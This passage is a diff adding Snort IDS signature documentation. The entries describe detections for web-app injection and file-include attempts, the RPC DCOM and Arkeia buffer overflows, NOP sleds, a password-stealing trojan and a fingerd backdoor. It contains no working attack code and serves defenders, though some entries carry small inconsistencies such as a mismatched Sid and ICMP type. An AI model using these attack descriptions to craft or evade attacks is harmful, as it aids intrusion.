+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "email" parameter in the "guestbook.php" script 
+used by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2978.txt
+++ snort-2.8.5.2/doc/signatures/2978.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2978
+
+--
+Summary:
+This event is generated when an attempt is made to access the C$ default
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/121-1.txt
+++ snort-2.8.5.2/doc/signatures/121-1.txt
@@ -0,0 +1,98 @@
+
+
+Rule:
+
+--
+Sid:
+121-1
+
+--
+Summary:
+This event is generated when the pre-processor flow-portscan detects
+network traffic that may constitute an attack. Specifically a fixed
+scale scanner limit exceeded event was generated.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the flow-portscan pre-processor detects
+network traffic that may consititute an attack.
+
+The flow-portscan pre-processor uses a flow based technique to identify
+portscanning in one-to-many and many-to-one scenarios based on flow
+creation in the flow pre-processor.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.flow-portscan in the docs directory
+of the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+detailed instructions and examples on how to tune and use the
+pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Chris Green <cmg@snort.org>
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3457.txt
+++ snort-2.8.5.2/doc/signatures/3457.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+3457
+
+--
+Summary:
+This event is generated when an attempt is made to exploit
+a buffer overflow associated with the Arkeia Client Backup
+server.
+
+--
+Impact:
+A successful attack may cause a buffer overflow and the
+subsequent execution of arbitrary code at the privilege
+level of the vulnerable service.
+
+--
+Detailed Information:
+A vulnerability exists in the Arkeia Client Backup server
+software for a type 77 request. This may cause a buffer
+overflow and the subsequent execution of arbitrary code
+on a vulnerable server. The vulnerability is caused by
+an overly long message length.
+
+--
+Affected Systems:
+	Arkeia version 5.3 and prior.
+
+--
+Attack Scenarios:
+An attacker craft a malicious type 77 request and send
+it to a vulnerable server.
+
+--
+Ease of Attack:
+Simple.  Exploits are publicly available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+There can be multiple messages in one transfer. The event is generated
+on the first message only.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Metasploit:
+http://metasploit.com/research/arkeia_agent
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000535.txt
+++ snort-2.8.5.2/doc/signatures/100000535.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000535
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "IMGallery" application running on a webserver. Access to 
+the file "galeria.php" with SQL commands being passed as the "start" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "start" parameter in the "galeria.php" script used by 
+the "IMGallery" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using IMGallery
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000316.txt
+++ snort-2.8.5.2/doc/signatures/100000316.txt
@@ -0,0 +1,71 @@
+Rule:  
+
+--
+Sid:
+100000315
+
+--
+Summary:
+This event is generated when an HTTP server issues a successful status
+code in response to a request to update a web document via the PUT method.
+
+--
+Impact:
+The PUT method is a legitimate HTTP command that allows an authorized user
+to upload a document into the web content tree. It is most often associated 
+with the WebDAV content management protocol.  
+
+Although there are some legitimate uses for the PUT method, it is also a
+frequent source of web site defacement, as attackers can easily abuse 
+misconfigured web servers that allow unrestricted PUT functionality from 
+arbitrary users.
+
+--
+Detailed Information:
+The rule searches for replies to HTTP PUT requests which indicate success.  
+When a successful reply is seen, it implies that the web content area has
+been modified, which may be an indicaton that the web site has been 
+defaced.
+
+This rule is intended to be used with another SID 100000315, which detects
+HTTP PUT requests.
+
+--
+Affected Systems:
+Any web server
+
+--
+Attack Scenarios:
+An attacker can issue a PUT reuqest via a script, many different pieces of 
+software, or through a manual connection to any web server port.
+
+--
+Ease of Attack:
+Simple.  Numerous tools exist for creating PUT requests, including some geared
+specifically towards web site defacement.  
+
+--
+False Positives:
+Organizations that use WebDAV to manage their web content may experience
+false positives, as the PUT method is a normal part of the WebDAV protocol.
+Additionally, any other legitimate web applications which use the PUT method
+will generate false positives.
+
+--
+False Negatives:
+None
+
+--
+Corrective Action:
+In cases of web site defacement, delete the newly-created file(s) and/or 
+restore them from a reliable backup. In all cases, be sure to tune web server
+configuration to allow PUT requests only where necessary for a legitimate web
+application to function.
+
+--
+Contributors:
+David J. Bianco, <david@vorant.com>
+
+-- 
+Additional References:
+http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.6
--- snort-2.8.5.2.orig/doc/signatures/147.txt
+++ snort-2.8.5.2/doc/signatures/147.txt
@@ -0,0 +1,85 @@
+Rule:
+
+--
+Sid:
+147
+
+--
+Summary:
+Gatecrasher is a Trojan Horse capable of stealing passwords and key 
+logging.
+
+--
+Impact:
+Possible theft of data and passwords.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Gatecrasher
+server to programs normally started on boot. Due to the nature of this
+Trojan it is unlikely that the attacker's client IP address has been
+spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is named system.exe
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	Command
+
+Removal of this entry is required.
+
+Delete the file system.exe
+
+Ending the Trojan process is also necessary. A reboot of the infected
+machine is recommended.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS99
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000507.txt
+++ snort-2.8.5.2/doc/signatures/100000507.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000507
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "FlashChat" application running on a webserver. 
+Access to the file "adminips.php" using a remote file being passed as the 
+"banned_file" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "banned_file" parameter in the "adminips.php" script 
+used by the "FlashChat" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using FlashChat
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/119-5.txt
+++ snort-2.8.5.2/doc/signatures/119-5.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+119-5
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+
+Impact: 
+Unknown. This may be an attempt to obfuscate an attack an evade an IDS.
+
+--
+Detailed Information:
+This event is generated when the pre-processor http_inspect detects
+base36 encoded characters in a web request. This may be used in an
+attempt to obfuscate an attack against a webserver or to evade an IDS.
+
+--
+Affected Systems:
+	Microsoft IIS web servers (Asian)
+
+--
+Attack Scenarios: 
+An attacker need only encode a web request using base 36 encoding.
+
+-- 
+Ease of Attack: 
+Simple. Exploits exist
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/991.txt
+++ snort-2.8.5.2/doc/signatures/991.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+991
+
+
+--
+Summary:
+This event is generated when an attempt is made to request an HTTP-based password change.
+
+--
+Impact:
+Information gathering/remote access.  Error messages from failed password changes can indicate whether a given account exists on the server.  Successful password changes can allow remote access to the server. 
+
+--
+Detailed Information:
+Microsoft Internet Information Services (IIS) Version 4 supplies a feature to allow users to make remote password changes.  The iisadmpwd directory has several .HTR files that are used to implement the password changes.  An attacker can request a change and use a returned form to supply an account name, existing password, and new password either to brute force changes or discover whether a specific account name exist. 
+
+--
+Affected Systems:
+
+Microsoft IIS 4.0
+
+--
+Attack Scenarios:
+An attacker can request password changes to discover existing accounts or brute force password changes.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Remove the IISADMPWD virtual directory to disable remote password changes.
+
+Consider running the IIS Lockdown Tool to disable HTR functionality.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0407
+
+Bugtraq
+http://www.securityfocus.com/bid/2110
+
+--
--- snort-2.8.5.2.orig/doc/signatures/648.txt
+++ snort-2.8.5.2/doc/signatures/648.txt
@@ -0,0 +1,77 @@
+Rule:
+--
+Sid:
+648
+
+--
+Summary:
+A series of NOP instructions for Intel's x86 architecure was detected.
+
+--
+Impact:
+As part of an attack on a remote service, an attacker may attempt to
+take advantage of insecure coding practices in hopes of executing
+arbitrary code.  This procedure generally makes use of NOPs.
+
+--
+Detailed Information:
+The NOP allows an attacker to fill an address space with a large
+number of NOPs followed by his or her code of choice.  This allows
+"sledding" into the attackers shellcode.
+
+--
+Affected Systems:
+	All x86 based systems
+
+--
+Attack Scenarios:
+If a particular service was written using unsafe functions without
+bounds checking (strcpy(), strcat(), sprintf() etc...), it is possible
+to write arbitrary data to the address space of the service.
+Normally, this may just cause the program to die a horrible death.
+However, if you can get the return address to point to the beginning
+of the newly written data, it is possible to execute code of your
+choice.  This requires that the newly written data is actual
+executable data.  Since calculating exactly where the return address
+may point to is no small task, a popular technique is to pad the space
+leading up to your shellcode with NOPs.  This way, if the return
+address points anywhere in the series of NOPS, execution will slide
+down into your shellcode.
+
+--
+Ease of Attack:
+Not-so trivial.  This particular technique requires a knowledge of x86
+assembly coding, memory, and usually an intimate understanding of the
+code that one is attempting to exploit.  Unfortunately, there are
+hundreds upon hundreds of canned exploits that nearly anyone with the
+ability point-and-click can use and wreak havok with.
+
+--
+False Positives:
+The x86 NOP can frequently be found in day-to-day traffic,
+particularly when transfering large files. 
+
+--
+False Negatives:
+There are other techniques to emulate a NOP.  Additionally, if
+the attackers NOP sled is small enough (< 15), this particular attack
+may slip by.  Fortunately, NOP sleds are generally quite large.
+
+--
+Corrective Action:
+Determine if this NOP was part of an attack or simply part of an
+innocent stream of data.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Jon Hart <warchild@spoofed.org>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000396.txt
+++ snort-2.8.5.2/doc/signatures/100000396.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000396
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "options.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "options.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000659.txt
+++ snort-2.8.5.2/doc/signatures/100000659.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000659
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "name" parameter in the "guestbook.php" script 
+used by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3331.txt
+++ snort-2.8.5.2/doc/signatures/3331.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3331
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1040.txt
+++ snort-2.8.5.2/doc/signatures/1040.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1040
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential 
+weakness on a host running Microsoft Internet Information Server (IIS) 
+using the Indexing service. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential 
+weaknesses in a host running Microsoft IIS using the Indexing service.
+
+The attacker may be trying to gain information on the IIS implementation 
+on the host, this may be the prelude to an attack against that host 
+using that information.
+
+This event is generated when an attempt is made to access srchadm, a
+directory used by the Microsoft Index Server.
+
+--
+Affected Systems:
+Any host using IIS and the Index service.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the 
+IIS implementation. The attacker might then gain administrator access to
+the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been 
+taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000530.txt
+++ snort-2.8.5.2/doc/signatures/100000530.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000530
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "NC Linklist" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "view" parameter in the "index.php" script used 
+by the "NC Linklist" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using NC Linklist
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/457.txt
+++ snort-2.8.5.2/doc/signatures/457.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+457
+
+--
+Summary:
+This event is generated when an ICMP type 14 is detected that does not 
+include the necessary code in the packet.
+
+
+--
+Impact:
+
+Can be used as a reconnaissance tool.  Traceroute reveals information
+about the layout of a network.
+
+--
+Detailed Information:
+There are at least three different implementations of traceroute.  In
+one implementation traceroute works by sending an ICMP Echo Request
+packet to a destination host with a TTL value of 1.  If the host is more
+than one hop away, the first route that receives the back will send back
+an ICMP packet indicating that the TTL was exceeded.  The address of
+this router is then listed as the first hop.  The packet is then sent
+out again with a TTL of 2.  This continues until the destination host is
+able to reply or some maximum TTL value is reached.
+
+The other two implementations use the same TTL-based concept with an
+ICMP type of 30(traceroute) or with an UDP packet destined for an
+ephemeral port.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+
+Traceroute is often used against machines on a network prior to an
+attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP type 30 messages.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by  by Steven Alexander<alexander.s@mccd.edu>
+
+--
+Additional References:
+
+Miscellaneous
+http://www.faqs.org/rfcs/rfc1393.html
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2291.txt
+++ snort-2.8.5.2/doc/signatures/2291.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2291
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/687.txt
+++ snort-2.8.5.2/doc/signatures/687.txt
@@ -0,0 +1,75 @@
+Rule:  
+
+--
+Sid: 
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database
+server that may result in a serious compromise of the data stored on
+that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an
+SQL database that may result in a serious compromise of all data stored
+on that system.
+
+Such commands may be used to gain access to a system with the privileges
+of an administrator, delete data, add data, add users, delete users,
+return sensitive information or gain intelligence on the server software
+for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the
+result of spawning a remote shell as a consequence of a successful
+network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and
+issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the
+protected network.
+
+Ensure that this event was not generated by a legitimate session then
+investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/incident_notes/IN-2002-04.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/320.txt
+++ snort-2.8.5.2/doc/signatures/320.txt
@@ -0,0 +1,65 @@
+Rule:  
+
+--
+Sid: 320
+
+-- 
+Summary: 
+This event is generated when access to a known UNIX backdoor deployed by attackers is attempted. In this case it may be a connection to a Trojaned version of fingerd.
+
+-- 
+
+Impact: 
+Remote system compromise leading to a compromise of all resources the host is connected to.
+
+--
+Detailed Information:
